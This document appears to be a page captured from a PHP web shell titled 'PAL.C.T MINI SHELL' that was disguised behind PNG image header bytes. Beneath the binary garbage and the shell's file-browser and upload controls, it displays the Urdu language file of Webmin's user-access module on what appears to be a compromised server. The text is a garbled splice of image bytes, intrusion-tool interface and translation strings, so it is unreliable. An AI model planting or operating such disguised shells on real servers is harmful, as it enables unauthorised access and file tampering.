php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/acl/lang/
upload
files >> //usr/libexec/webmin/acl/lang/ur.auto

index_title=ویبمین صارفین
index_user=صارف
index_modules=ماڈیولز
index_create=ایک نیا مراعات یافتہ صارف بنائیں۔
index_screate=نیا محفوظ صارف بنائیں۔
index_convert=یونکس کو ویبمین صارفین میں تبدیل کریں
index_cert=ایک SSL سرٹیفکیٹ کی درخواست کریں
index_twofactor=دو عنصر کی تصدیق
index_certmsg=ایس ایس ایل سرٹیفکیٹ کی درخواست کرنے کے لئے اس بٹن پر کلک کریں جو آپ کو صارف نام اور پاس ورڈ داخل کیے بغیر ویبمین میں محفوظ طور پر لاگ ان کرنے کی اجازت دے گا۔
index_return=صارف کی فہرست
index_none=کوئی نہیں
index_edit=ماڈیول ACL میں ترمیم کریں:
index_global=عالمی ACL
index_users=ویبمین صارفین
index_groups=ویبمین گروپس
index_group=گروپ
index_nousers=ترمیم کرنے والے ویبمین صارفین کی کوئی تعریف نہیں کی گئی ہے۔
index_nogroups=کوئی ویبمین گروپ متعین نہیں ہے۔
index_gcreate=نیا ویب مین گروپ بنائیں۔
index_members=ممبران
index_modgroups=Modules from group $1
index_sync=یونکس صارف کی ہم آہنگی کی تشکیل کریں
index_unix=یونکس صارف کی توثیق کو تشکیل دیں
index_sessions=لاگ ان سیشن دیکھیں
index_rbac=آر بی اے سی سیٹ اپ کریں
index_delete=منتخب کردہ کو حذف کریں
index_joingroup=گروپ میں شامل کریں:
index_eulist=Failed to list users : $1
index_eglist=Failed to list groups : $1

edit_title=ویب مین صارف میں ترمیم کریں
edit_title2=ویب مین صارف بنائیں
edit_title3=محفوظ ویب مین صارف بنائیں
edit_readonly=This Webmin user should not be edited as it is managed by the $1 module. <a href='$2'>Click here</a> to bypass this warning and edit the user anyway - but beware that any manual changes may be over-written!
edit_rights=ویبمین صارف تک رسائی کے حقوق
edit_user=صارف نام
edit_cloneof=کلوننگ ویب صارف صارف
edit_real=اصلی نام
edit_group=گروپ کے ممبر
edit_pass=پاس ورڈ
edit_same=یونکس کی طرح
edit_lock=کوئی پاس ورڈ قبول نہیں کیا گیا
edit_pam=PAM کی توثیق
edit_unix=یونکس کی توثیق
edit_extauth=بیرونی توثیقی پروگرام
edit_dont=مت بدلاؤ
edit_set=تیار
edit_passlocked=Password has not been changed for $1 days - account locked!
edit_passmax=Password has not been changed for $1 days - must be changed at next login
edit_passold=Password was last changed $1 days ago
edit_passtoday=ایک دن پہلے سے کم وقت میں پاس ورڈ تبدیل کیا گیا تھا
edit_modules=ماڈیولز
edit_clone=کلون
edit_twofactor=دو عنصر کی توثیق کی قسم
edit_twofactorprov=Using provider $1 with ID $2
edit_twofactorcancel=دو عنصر کی توثیق کی ضرورت کو ہٹا دیں
edit_twofactornone=ابھی تک کوئی سیٹ اپ نہیں ہے
edit_twofactoradd=صارف کے لئے دو فیکٹر کو فعال کریں
edit_lang=زبان
edit_notabs=ماڈیول کی درجہ بندی کریں؟
edit_logout=غیر فعال لاگ آؤٹ وقت
edit_mins=منٹ
edit_chars=خطوط
edit_minsize=پاس ورڈ کی کم از کم لمبائی
edit_nochange=پاس ورڈ کی تبدیلی کے دن نافذ کریں؟
edit_cert=SSL سرٹیفکیٹ کا نام
edit_none=کوئی نہیں
edit_ips=IP رسائی کنٹرول
edit_all=سبھی پتوں سے اجازت دیں
edit_allow=صرف درج پتے سے اجازت دیں
edit_deny=درج پتے سے انکار کریں
edit_ipdesc=صارف IP رسائی کنٹرول اسی طرح کام کرتا ہے جس طرح Webmin تشکیل ماڈیول میں عالمی IP رسائی کنٹرول ہے۔ صرف اس صورت میں جب صارف عالمی کنٹرول سے گزرتا ہے تو یہاں پر ان لوگوں کو بھی چیک کیا جائے گا۔
edit_skill=مہارت کی سطح
edit_risk=رسک لیول
edit_risk_high=سپر صارف
edit_risk_medium=ایڈمن صارف
edit_risk_low=عام صارف
edit_groupmods=(گروپ کے ماڈیول کے علاوہ)
edit_euser=آپ کو اس صارف میں ترمیم کرنے کی اجازت نہیں ہے
edit_egone=منتخب صارف اب موجود نہیں ہے!
edit_ecreate=آپ کو صارف بنانے کی اجازت نہیں ہے
edit_theme=ذاتی UI تھیم
edit_themeglobal=ویب مین ترتیب سے
edit_themedef=پرانا ویبمین تھیم
edit_overlay=ذاتی تھیم اتبشایی
edit_overlayglobal=کوئی نہیں - تھیم ڈیفالٹس کا استعمال کریں
edit_log=نوشتہ جات دیکھیں
edit_selall=تمام منتخب کریں
edit_invert=الٹا انتخاب
edit_hide=غیر استعمال شدہ کو چھپائیں
edit_switch=صارف پر جائیں
edit_return=ویب مین صارف
edit_return2=ویبمین گروپ
edit_rbacdeny=آر بی اے سی تک رسائی موڈ
edit_rbacdeny0=آر بی اے سی صرف منتخب کردہ ماڈیول اے سی ایل کو کنٹرول کرتا ہے
edit_rbacdeny1=آر بی اے سی تمام ماڈیولز اور اے سی ایل کو کنٹرول کرتا ہے
edit_global=تمام ماڈیولز کی اجازت
edit_templock=عارضی طور پر مقفل ہے
edit_temppass=اگلے لاگ ان پر زبردستی تبدیلی کریں
edit_days=ہفتے کے دن کی اجازت
edit_alldays=ہر روز
edit_seldays=صرف منتخب دن..
edit_hours=دن کے اوقات کی اجازت
edit_allhours=کسی بھی وقت
edit_selhours=From $1:$2 to $3:$4
edit_ui=صارف انٹرفیس کے اختیارات
edit_security=سیکیورٹی اور حدود کے اختیارات
edit_mods=دستیاب ویبمین ماڈیولز
edit_modsg=دستیاب ویبمین ماڈیول (گروپ کے علاوہ)
edit_proto=ذخیرہ کی قسم
edit_proto_mysql=ایس کیو ایل ڈیٹا بیس
edit_proto_postgresql=PostgreSQL ڈیٹا بیس
edit_proto_ldap=LDAP سرور
edit_proto_=مقامی فائلیں
edit_safe=استحقاق کی سطح
edit_safe0=غیر محدود
edit_safe1=صرف محفوظ ماڈیولز
edit_unsafe=غیر پابندیوں کو دوبارہ ترتیب دیں

save_err=صارف کو بچانے میں ناکام
save_ename='$1' is not a valid username
save_eunixname=The username '$1' is not a Unix user, and so cannot be used in safe mode
save_enamewebmin=صارف کا نام 'ویبمین' داخلی استعمال کے لئے مخصوص ہے
save_edup=The username '$1' is already in use
save_eoverlay=جب تک تھیم نہ ہو کسی تھیم اوورلی کو منتخب نہیں کیا جاسکتا
save_edeny=آپ اپنے آپ کو ویبمین صارفین کے ماڈیول تک رسائی سے انکار نہیں کرسکتے ہیں
save_eos=آپ کے آپریٹنگ سسٹم پر یونکس پاس ورڈ کے اسی طرح کا اختیار معاون نہیں ہے۔
save_emd5=اسی طرح کے یونکس پاس ورڈ کے اختیارات MD5 خفیہ کاری والے نظاموں میں استعمال نہیں ہوسکتے ہیں
save_eunix=The Unix user '$1' does not exist
save_emod=You cannot grant access to module '$1'
save_ecreate=آپ کو صارف بنانے کی اجازت نہیں ہے
save_euser=آپ کو اس صارف میں ترمیم کرنے کی اجازت نہیں ہے
save_ecolon=پاس ورڈ میں: حرف نہیں ہوسکتا ہے
save_epass=Password is not valid : $1
save_eself=Your current IP address ($1) would be denied
save_epam=پی اے ایم کی توثیق دستیاب نہیں ہے کیونکہ <tt>Authen::PAM</tt> پرل ماڈیول انسٹال نہیں ہے یا ٹھیک سے کام نہیں کررہا ہے۔
save_epam2=You can use Webmin's Perl Modules module to <a href='$1'>download and install Authen::PAM</a> now.
save_egroup=آپ کو اس گروپ کو تفویض کرنے کی اجازت نہیں ہے
save_enone=کوئی پتہ داخل نہیں ہوا
save_enet='$1' is not a valid network address
save_emask='$1' is not a valid netmask
save_eip='$1' is not a complete IP or network address
save_ehost=Failed to find IP address for '$1'
save_elogouttime=لاک آؤٹ وقت یا غیر عددی تعداد میں غائب ہونا
save_eminsize=کم سے کم پاس ورڈ کی لمبائی غائب یا غیر عددی ہے
save_edays=منتخب ہونے کی اجازت دینے کیلئے کوئی دن نہیں
save_ehours=اجازت دینے کیلئے لاپتہ یا غلط وقت
save_ehours2=شروع کرنے کا وقت اختتام سے پہلے کا ہونا ضروری ہے
save_etemp=The option to force a password change at next login cannot be used unless <a href='$1'>prompting users to enter new passwords</a> is enabled

delete_err=صارف کو حذف کرنے میں ناکام
delete_eself=آپ خود کو حذف نہیں کرسکتے ہیں
delete_ecannot=آپ کو صارفین کو حذف کرنے کی اجازت نہیں ہے
delete_euser=آپ کو اس صارف کو حذف کرنے کی اجازت نہیں ہے
delete_eanonuser=یہ صارف گمنام ماڈیول تک رسائی کے لئے استعمال ہورہا ہے

cert_title=سند کی درخواست کریں
cert_issue=سرٹیفکیٹ جاری کریں
cert_header=سرٹیفکیٹ کی نئی تفصیلات
cert_msg=یہ فارم آپ کو ایس ایس ایل کلائنٹ کے سرٹیفکیٹ کی درخواست کرنے کی اجازت دیتا ہے جو مستقبل میں آپ کے صارف نام اور پاس ورڈ کے بجائے ویبمین تک رسائی فراہم کرنے کے لئے استعمال ہوگا۔ یہ زیادہ محفوظ ہے ، لیکن چونکہ یہ توثیق خودکار ہے کہ آپ سرٹیفکیٹ کا استعمال کرتے وقت کسی دوسرے صارف میں تبدیل نہیں ہوسکیں گے۔
cert_ebrowser=Webmin does not know how to issue client certificates for your browser ( $1 )
cert_cn=تمھارا نام
cert_email=ای میل اڈریس
cert_ou=شعبہ
cert_o=تنظیم
cert_sp=حالت
cert_c=ملک کا کوڈ
cert_key=کلیدی سائز
cert_done=Your certificate for $1 has been successfully generated.
cert_pickup=<a href='$1'>Click here to pick up your certificate and install it in your browser</a>
cert_install=براؤزر میں اپنا سرٹیفکیٹ انسٹال کریں
cert_ekey=آپ کے براؤزر کے ذریعہ ایک نئی SSL کلید پیش نہیں کی گئی تھی - ہوسکتا ہے کہ یہ SSL کلائنٹ کے سرٹیفکیٹ کی حمایت نہیں کرے۔
cert_eca=Failed to setup certificate authority : $1
cert_already=Warning - you are already using the certificate $1.
cert_etempdir=غلط سرٹیفکیٹ فائل

acl_title=ماڈیول تک رسائی
acl_title2=For $1 in $2
acl_title3=For group $1 in $2
acl_options=$1 access control options
acl_config=ماڈیول ترتیب میں ترمیم کر سکتے ہیں؟
acl_reset=مکمل رسائی پر دوبارہ مرتب کریں
acl_rbac=RBAC سے رسائی کنٹرول کی ترتیبات حاصل کریں؟
acl_rbacyes=ہاں (ذیل میں ترتیبات کو اوور رائڈ کرتا ہے)

acl_uall=تمام صارفین
acl_uthis=یہ صارف
acl_usel=منتخب صارفین..
acl_gr=Members of $1
acl_users=وہ صارفین جن میں ترمیم کی جاسکتی ہے
acl_mods=تک رسائی فراہم کرسکتے ہیں
acl_all=تمام ماڈیولز
acl_own=صرف اس کے اپنے ماڈیولز
acl_sel=منتخب کردہ ماڈیولز..
acl_create=کیا نئے صارف تشکیل دے سکتے ہیں؟
acl_delete=کیا صارفین کو حذف کرسکتے ہیں؟
acl_rename=کیا صارفین کا نام تبدیل کر سکتے ہیں؟
acl_acl=کیا ماڈیول ایکسیس کنٹرول میں ترمیم کی جاسکتی ہے؟
acl_lang=کیا زبان بدل سکتی ہے؟
acl_chcert=کیا SSL سرٹیفکیٹ کا نام تبدیل کر سکتے ہیں؟
acl_euser=آپ کو اس صارف کے لئے ACL میں ترمیم کرنے کی اجازت نہیں ہے
acl_egroup=آپ کو گروپ ACL میں ترمیم کرنے کی اجازت نہیں ہے
acl_emod=آپ کو اس ماڈیول کے لئے ACL میں ترمیم کرنے کی اجازت نہیں ہے
acl_others=ناقابل رسائی ماڈیول دیکھ سکتے ہیں؟
acl_cert=سرٹیفکیٹ کی درخواست کر سکتے ہیں؟
acl_err=رسائی کنٹرول کو بچانے میں ناکام
acl_groups=گروپوں میں ترمیم کرسکتے ہیں؟
acl_gassign=صارفین کو گروپس میں تفویض کرسکتے ہیں
acl_gall=تمام گروہ
acl_gsel=منتخب شدہ..
acl_gnone=کوئی نہیں
acl_perms=نئے بنائے گئے صارفین ملتے ہیں
acl_perms_1=بطور خالق اسی ماڈیول تک رسائی پر قابو پالیں
acl_perms_0=پہلے سے طے شدہ (غیر پابندی سے) ماڈیول تک رسائی
acl_sync=کیا صارف کی ہم آہنگی تشکیل دے سکتے ہیں؟
acl_unix=کیا یونکس تصدیق کو تشکیل دے سکتے ہیں؟
acl_sessions=لاگ ان سیشن دیکھ اور منسوخ کرسکتے ہیں؟
acl_cats=کیا درجہ بندی تبدیل کر سکتے ہیں؟
acl_theme=کیا ذاتی تھیم تبدیل کر سکتے ہیں؟
acl_ips=کیا IP تک رسائی کنٹرول تبدیل کر سکتے ہیں؟
acl_switch=دوسرے صارفین کو تبدیل کر سکتے ہیں؟
acl_times=کیا اجازت شدہ لاگ ان اوقات کو تبدیل کیا جاسکتا ہے؟
acl_pass=کیا پاس ورڈ کی پابندیاں بدل سکتی ہیں؟
acl_sql=صارف اور گروپ ڈیٹا بیس کو تشکیل دے سکتے ہیں؟

log_modify=Modified Webmin user $1
log_rename=Renamed Webmin user $1 to $2
log_create=Created Webmin user $1
log_clone=Cloned Webmin user $1 to $2
log_delete=Deleted Webmin user $1
log_acl=Updated access for $1 in $2
log_reset=Reset access for $1 in $2
log_cert=Issued certificate for user $1
log_modify_g=Modified Webmin group $1
log_rename_g=Renamed Webmin group $1 to $2
log_create_g=Created Webmin group $1
log_delete_g=Deleted Webmin group $1
log_switch=Switched to Webmin user $1
log_delete_users=Deleted $1 Webmin users
log_delete_groups=Deleted $1 Webmin groups
log_joingroup=Added $1 Webmin users to group $2
log_pass=پاس ورڈ کی پابندیاں تبدیل کردی گئیں
log_unix=تبدیل شدہ یونکس صارف کی توثیق
log_sync=تبدیل شدہ یونکس صارف کی ہم وقت سازی
log_sql=صارف اور گروپ کا ڈیٹا بیس بدلا ہوا ہے
log_twofactor=Enrolled user $1 with two-factor provider $2
log_onefactor=Dis-enrolled user $1 for two-factor authentication

gedit_ecannot=آپ کو گروپس میں ترمیم کرنے کی اجازت نہیں ہے
gedit_title=ویب مین گروپ میں ترمیم کریں
gedit_title2=ویبمین گروپ بنائیں
gedit_group=گروہ کا نام
gedit_rights=ویبمین گروپ تک رسائی کے حقوق
gedit_modules=ممبروں کے ماڈیولز
gedit_members=ممبر صارفین اور گروپس
gedit_desc=گروپ کی تفصیل
gedit_egone=منتخب گروپ اب موجود نہیں ہے!

gdelete_err=گروپ کو حذف کرنے میں ناکام
gdelete_ecannot=آپ کو گروپس کو حذف کرنے کی اجازت نہیں ہے
gdelete_euser=آپ اپنے گروپ کو حذف نہیں کرسکتے ہیں
gdelete_esub=سب گروپس والے گروپس کو حذف نہیں کیا جاسکتا
gdelete_title=گروپ کو حذف کریں
gdelete_desc=Are you sure you want to delete the group $1 and its member users $2 ?
gdelete_ok=گروپ کو حذف کریں

gsave_err=گروپ کو بچانے میں ناکام
gsave_ename=گروپ کا نام غائب یا غلط
gsave_enamewebmin=گروپ کا نام 'ویبمین' داخلی استعمال کے لئے مخصوص ہے
gsave_edup=گروپ کا نام پہلے ہی استعمال میں ہے
gsave_edesc=غلط تفصیل the: کردار کی اجازت نہیں ہے

convert_title=صارفین کو تبدیل کریں
convert_ecannot=آپ کو یونکس صارف کو تبدیل کرنے کی اجازت نہیں ہے
convert_nogroups=آپ کے سسٹم پر کسی بھی ویبمین گروپ کی تعریف نہیں کی گئی ہے۔ تبدیل شدہ صارفین کے ل permission اجازتوں کی وضاحت کے ل def تبادلوں سے پہلے کم از کم ایک گروہ تشکیل دینا ضروری ہے۔
convert_desc=یہ فارم آپ کو یونکس کے موجودہ صارفین کو ویبمین صارفین میں تبدیل کرنے کی سہولت دیتا ہے۔ ہر نئے ویبمین صارف کی اجازتوں کا تعین ذیل منتخب گروپ کے ذریعہ کیا جائے گا۔
convert_0=تمام صارفین
convert_1=صرف صارف
convert_2=سوائے صارفین کے
convert_3=گروپ والے صارفین
convert_4=UIDs والے صارفین
convert_group=نئے صارفین کو ویبمین گروپ میں تفویض کریں
convert_sync2=مستقبل میں یونکس صارف کے ساتھ پاس ورڈ ہم آہنگی کریں؟
convert_ok=اب بدلیں
convert_err=صارفین کو تبدیل کرنے میں ناکام
convert_eusers=تبدیل کرنے کے لئے کوئی صارف داخل نہیں ہوا
convert_egroup=یونکس گروپ موجود نہیں ہے
convert_emin=غلط کم سے کم UID
convert_emax=غلط زیادہ سے زیادہ UID
convert_ewgroup=ایسا کوئی ویبمین گروپ نہیں ہے
convert_ewgroup2=آپ کو اس گروپ میں نئے صارفین تفویض کرنے کی اجازت نہیں ہے
convert_skip=$1 being skipped
convert_exists=$1 already exists
convert_invalid=$1 is not a valid Webmin username
convert_added=$1 being added
convert_msg=یونکس صارفین کو تبدیل کرنا…
convert_user=یونکس صارف
convert_action=کارروائی
convert_done=$1 users converted, $2 invalid, $3 already exist, $4 excluded.
convert_users=صارفین کو تبدیل کرنا ہے

sync_title=یونکس صارف کی ہم آہنگی
sync_desc=یہ فارم آپ کو اس ماڈیول میں ویب مین اور صارفین کے ذریعہ تیار کردہ یونکس صارفین کی خودکار ہم وقت سازی کی تشکیل کرنے کی اجازت دیتا ہے۔
sync_nogroups=آپ کے سسٹم پر کسی بھی ویبمین گروپ کی تعریف نہیں کی گئی ہے۔ تخلیق شدہ صارفین کے ل the رسائی کو قائم کرنے کے ل least کم از کم ایک گروپ بنانا ضروری ہے۔
sync_when=ہم وقت سازی کب کریں
sync_create=جب یونکس کا صارف تخلیق ہوتا ہے تو ویب مین صارف بنائیں۔
sync_update=جب یونکس کا صارف اپ ڈیٹ ہوتا ہے تو مماثل ویبمین صارف کو اپ ڈیٹ کریں۔
sync_delete=جب یونکس کا صارف حذف ہوجاتا ہے تو مماثل Webmin صارف کو حذف کریں۔
sync_modify=جب یونکس صارف کا نام تبدیل کیا جاتا ہے تو مماثل ویبمین صارف کا نام تبدیل کریں۔
sync_group=نئے صارفین کو ویبمین گروپ میں تفویض کریں
sync_unix=نئے صارفین کے لئے یونکس تصدیق کے لئے پاس ورڈ مرتب کریں۔
sync_ecannot=آپ کو صارف کی ہم آہنگی کی تشکیل کی اجازت نہیں ہے۔

unix_title=یونکس صارف کی توثیق
unix_err=یونکس توثیق کو بچانے میں ناکام
unix_desc=یہ صفحہ آپ کو ویب صارف کو سسٹم صارف کی فہرست اور PAM کے خلاف لاگ ان کوششوں کی توثیق کرنے کی اجازت دیتا ہے۔ اگر آپ کے پاس موجود یونیکس صارفین کی ایک بڑی تعداد ہے جو آپ ویبمین تک رسائی دینا چاہتے ہیں تو یہ کارآمد ثابت ہوسکتا ہے۔
unix_def=صرف ویب مین صارفین کو لاگ ان ہونے کی اجازت دیں
unix_sel=ذیل میں درج یونکس صارفین کو لاگ ان ہونے کی اجازت دیں..
unix_mode=اجازت دیں
unix_mall=تمام صارفین
unix_group=گروپ کے ممبران..
unix_user=یونکس صارف..
unix_who=صارف یا گروپ
unix_to=بطور ویب صارف صارف
unix_ecannot=آپ کو یونکس صارف کی توثیق کرنے کی اجازت نہیں ہے
unix_epam=یونکس کی توثیق دستیاب نہیں ہے کیونکہ <tt>Authen::PAM</tt> پرل ماڈیول انسٹال نہیں ہے یا ٹھیک سے کام نہیں کررہا ہے۔
unix_all=تمام یونکس صارفین کو اجازت دیں
unix_allow=صرف درج کردہ یونکس صارفین کی اجازت دیں
unix_deny=درج یونیکس صارفین کی تردید کریں
unix_none=کوئی صارف داخل نہیں ہوا
unix_euser='$1' is not a valid username
unix_egroup='$1' is not a valid group name
unix_shells=انکس صارفین کی تردید کریں جن کے خول فائل میں نہیں ہیں
unix_eshells=غائب یا غیر استقامت شیل فائل
unix_restrict2=اضافی پابندیاں
unix_ewhogroup=Missing group to allow in row $1
unix_ewhouser=Missing user to allow in row $1
unix_enone=کوئی یونکس صارفین یا گروپ داخل نہیں ہونے دیں گے
unix_same=&lt;ایک ہی صارف یا گروپ&gt;
unix_sudo=وہ صارفین جو <tt>sudo</tt> کے ذریعہ <tt>root</tt> کے بطور لاگ ان ہونے کے لئے تمام احکامات چلاسکتے ہیں
unix_pamany=Treat logins that only pass PAM validation as $1
unix_esudo=The $1 command is not installed
unix_esudomod=The Perl module $1 needed for <tt>sudo</tt> authentication is not installed
unix_header=یونکس صارف کی توثیق کی ترتیبات
unix_utable=اجازت شدہ یونکس صارفین

sessions_title=موجودہ لاگ ان سیشن
sessions_id=سیشن کی شناخت
sessions_user=ویب مین صارف
sessions_login=آخری فعال
sessions_host=IP پتہ
sessions_lview=نوشتہ جات دیکھیں..
sessions_actions=عمل..
sessions_all=تمام سیشنز..
sessions_logouts=لاگ آؤٹ سیشن بھی دکھائیں..
sessions_state=حالت
sessions_this=یہ لاگ ان
sessions_in=لاگ ان
sessions_out=لاگ آؤٹ
sessions_kill=منقطع..

logins_title=حالیہ ویبمین لاگ ان

hide_title=غیر استعمال شدہ ماڈیول چھپائیں
hide_desc=The following modules will be removed from the module access list for $1 as their corresponding servers are not installed on your system ..
hide_ok=ابھی ماڈیول چھپائیں
hide_none=Nothing to hide - $1 does not have access to any modules whose corresponding servers are not installed on your system.
hide_desc2=آگاہ رہیں کہ اگر یہ متعلقہ سرور انسٹال ہو گئے ہیں تو یہ ماڈیول خود بخود دوبارہ ظاہر نہیں ہوں گے۔ آپ کو اس ماڈیول کا استعمال کرتے ہوئے دستی طور پر رسائی کی ضرورت ہوگی۔
hide_clone=(Clone $1)

switch_euser=آپ کو اس صارف کو تبدیل کرنے کی اجازت نہیں ہے
switch_eold=موجودہ سیشن نہیں ملا!

rbac_title=آر بی اے سی سیٹ اپ کریں
rbac_desc=ویبمین کا آر بی اے سی انضمام صارف کے ماڈیول اور اے سی ایل کی اجازت کا ایک طریقہ فراہم کرتا ہے جس کا تعین ویبمین کی اپنی تشکیل فائلوں کے بجائے آر بی اے سی (رول پر مبنی رسائی کنٹرول) ڈیٹا بیس سے کیا جائے۔ ایک بار جب RBAC سپورٹ فعال ہوجاتا ہے تو ، کسی بھی صارف کے لئے <b>RBAC نے تمام ماڈیولز اور ACLs</b> کا اختیار منتخب کیا ہوتا ہے ، اس کی صلاحیتیں ویبمین کی اپنی رسائی کنٹرول کی ترتیبات کے بجائے RBAC کے ذریعہ طے کی جائیں گی۔
rbac_esolaris=RBAC is only supported on Solaris at the moment, and so cannot be used on this $1 system.
rbac_eperl=The Perl module $1 needed for RBAC integration is not installed. <a href='$2'>Click here</a> to have it installed now.
rbac_ecpan=You do not have access to Webmin's Perl Modules page in order to install the necessary $1 module for RBAC integration.
rbac_ok=اس نظام پر آر بی اے سی انضمام دستیاب ہے ، اور فی صارف صارف ایڈیٹ صفحے پر صارف کی بنیاد پر قابل بنایا جاسکتا ہے۔

udeletes_err=صارفین کو حذف کرنے میں ناکام
udeletes_jerr=صارفین کو گروپ میں شامل کرنے میں ناکام
udeletes_enone=کوئی بھی منتخب نہیں ہوا
udeletes_title=صارفین کو حذف کریں
udeletes_rusure=Are you sure you want to delete the $1 selected users? All of their access control settings and user details will be lost.
udeletes_users=Selected users: $1
udeletes_ok=صارفین کو حذف کریں
udeletes_ereadonly=منتخب کردہ صارفین میں سے ایک کو قابل تدوین کے بطور نشان زد کیا گیا ہے

gdeletes_err=گروپس کو حذف کرنے میں ناکام
gdeletes_title=گروپس کو حذف کریں
gdeletes_rusure=Are you sure you want to delete the $1 selected groups, and the $2 users they contain? All of their access control settings and user details will be lost.
gdeletes_users=Selected groups: $1
gdeletes_ok=گروپس کو حذف کریں

pass_title=پاس ورڈ کی پابندیاں
pass_ecannot=آپ کو پاس ورڈ کی پابندیوں میں ترمیم کرنے کی اجازت نہیں ہے
pass_header=ویبمین پاس ورڈ نافذ کرنے کے اختیارات
pass_minsize=پاس ورڈ کی کم از کم لمبائی
pass_nominsize=کم از کم نہیں
pass_regexps=باضابطہ اظہار کے پاس ورڈ ملنے چاہ.
pass_regdesc=باقاعدہ اظہار کیلئے انسانی پڑھنے کے قابل تفصیل
pass_maxdays=دن سے پہلے پاس ورڈ تبدیل کرنا ضروری ہے
pass_lockdays=غیر تبدیل شدہ پاس ورڈ سے پہلے اکاؤنٹ لاک ہوجاتا ہے
pass_nomaxdays=تبدیلی کی کبھی ضرورت نہیں ہے
pass_nolockdays=اکاؤنٹ کبھی بھی مقفل نہیں ہوتا ہے
pass_nouser=صارف نام رکھنے والے پاس ورڈز کی اجازت نہ دیں؟
pass_nodict=لغت کے لفظ پاس ورڈز کی اجازت نہیں ہے؟
pass_oldblock=رد کرنے کیلئے پرانے پاس ورڈز کی تعداد
pass_nooldblock=پاس ورڈ کے دوبارہ استعمال پر کوئی حد نہیں ہے
pass_days=دن
pass_pass=پاس ورڈ
pass_err=پاس ورڈ کی پابندیوں کو بچانے میں ناکام
pass_eminsize=کم سے کم پاس ورڈ کی لمبائی غائب یا غیر عددی ہے
pass_emaxdays=تبدیل ہونے سے پہلے دن غائب یا ہندسوں کی تعداد
pass_elockdays=اکاؤنٹ لاک ہونے سے پہلے دن کی گنتی یا غیر عددی تعداد
pass_eoldblock=مسترد ہونے کیلئے پرانے پاس ورڈز کی تعداد یا غیر عددی تعداد

cpass_minsize=Must be at least $1 letters long
cpass_notre=ممنوعہ نمونہ سے میل کھاتا ہے
cpass_re=مطلوبہ نمونہ سے مطابقت نہیں رکھتا ہے
cpass_name=صارف نام پر مشتمل ہے
cpass_dict=لغت کا لفظ ہے
cpass_spellcmd=Neither the $1 or $2 commands needed to check for dictionary words is installed
cpass_old=پرانے پاس ورڈ دوبارہ استعمال نہیں کیے جاسکتے ہیں

sql_title=صارف اور گروپ ڈیٹا بیس
sql_ecannot=آپ کو صارف اور گروپ ڈیٹا بیس کی تشکیل کرنے کی اجازت نہیں ہے
sql_header=صارفین اور گروپوں کے لئے ڈیٹا بیس پسدید کے لئے اختیارات
sql_host=میزبان کا نام
sql_user=صارف نام
sql_pass=پاس ورڈ
sql_db=ڈیٹا بیس کا نام
sql_ssl=کنکشن کی خفیہ کاری
sql_ssl0=کوئی نہیں
sql_ssl1=SSL
sql_ssl2=ٹی ایل ایس
sql_userclass=صارفین کے لئے آبجیکٹ کلاس
sql_groupclass=گروپوں کے لئے آبجیکٹ کلاس
sql_euserclass=صارفین کے لئے غائب یا غلط آبجیکٹ کلاس
sql_egroupclass=گروپوں کے لئے گمشدہ یا غلط آبجیکٹ کلاس
sql_none=صارفین اور گروپس کو ذخیرہ کرنے کے لئے صرف مقامی فائلوں کا استعمال کریں
sql_mysql=ایس کیو ایل ڈیٹا بیس کا استعمال کریں
sql_postgresql=PostgreSQL ڈیٹا بیس کا استعمال کریں
sql_ldap=LDAP سرور استعمال کریں
sql_prefix=ڈی این کے تحت بنائیں
sql_addto0=اوپر منتخب کردہ ڈیٹا بیس میں نئے صارفین شامل کریں
sql_addto1=مقامی فائلوں میں نئے صارفین شامل کریں
sql_nocache0=ڈیٹا بیس سے کیشے کنکشن
sql_nocache1=ہر تلاش کے لئے ایک نیا کنکشن کھولیں
sql_emod=Missing required Perl module <tt>$1</tt>
sql_etable=Failed to query required table $1 : $2
sql_eldapdn=Base LDAP DN $1 was not found
sql_eclass=LDAP object class $1 does not exist in the server's schema
sql_err=صارف اور گروپ ڈیٹا بیس کی ترتیبات کو محفوظ کرنے میں ناکام
sql_ehost=حل شدہ یا غیر حل طلب میزبان نام
sql_euser=غائب یا غلط صارف نام (کسی جگہ کی اجازت نہیں ہے)
sql_epass=غلط پاس ورڈ (کسی جگہ کی اجازت نہیں ہے)
sql_edb=غلط ڈیٹا بیس کا نام (کسی جگہ کی اجازت نہیں)
sql_eprefix=لاپتہ یا غلط بیس DN (جگہوں کی اجازت نہیں ہے)
sql_eprefix2=غلط نظر آنے والا بیس DN - <tt>dc=mydomain,dc=com</tt> کی طرح ہونا چاہئے
sql_title2=گمشدہ میزیں بنائیں
sql_tableerr=User and group database settings are valid, but some tables needed by Webmin are missing : $1
sql_tableerr2=ذیل میں <b>میزیں بنائیں</b> بٹن پر کلک کریں تاکہ انہیں خود بخود بنائیں ، یا نیچے SQL دستی طور پر چلائیں۔
sql_make=میزیں بنائیں
sql_title3=لاپتہ DN بنائیں
sql_dnerr=User and group database settings are valid, but the LDAP DN needed by Webmin is missing : $1
sql_dnerr2=ذیل میں <b>بنائیں ڈی این</b> بٹن پر کلک کریں تاکہ خود بخود تخلیق ہو ، یا اسے دستی طور پر اپنے LDAP سرور میں شامل کریں۔
sql_makedn=ڈی این بنائیں
sql_schema=ایل ڈی اے پی اسکیما ڈاؤن لوڈ کریں
sql_timeout_def=ڈیفالٹ کنکشن ٹائم آؤٹ (60 سیکنڈ) استعمال کریں
sql_timeout_for=بعد میں کیشڈ کنکشن بند کریں
sql_timeout_secs=سیکنڈ
sql_etimeout=کیچڈ کنکشن ٹائم آؤٹ لازمی طور پر ایک نمبر ہونا چاہئے

make_title=صارف اور گروپ میزیں بنائیں
make_err=صارف اور گروپ ٹیبل بنانے میں ناکام
make_exec=Executing SQL $1 ..
make_failed=.. creation failed : $1
make_done=.. ہو گیا
make_still=Some problems were found even after table creation : $1

makedn_title=LDAP DN بنائیں
makedn_eoc=کوئی ساختی آبجیکٹ کلاس نہیں ملی!
makedn_exec=Creating parent DN $1 ..
makedn_failed=.. creation failed : $1
makedn_done=.. ہو گیا
makedn_still=Some problems were found even after DN creation : $1

schema_title=ایل ڈی اے پی اسکیما ڈاؤن لوڈ کریں
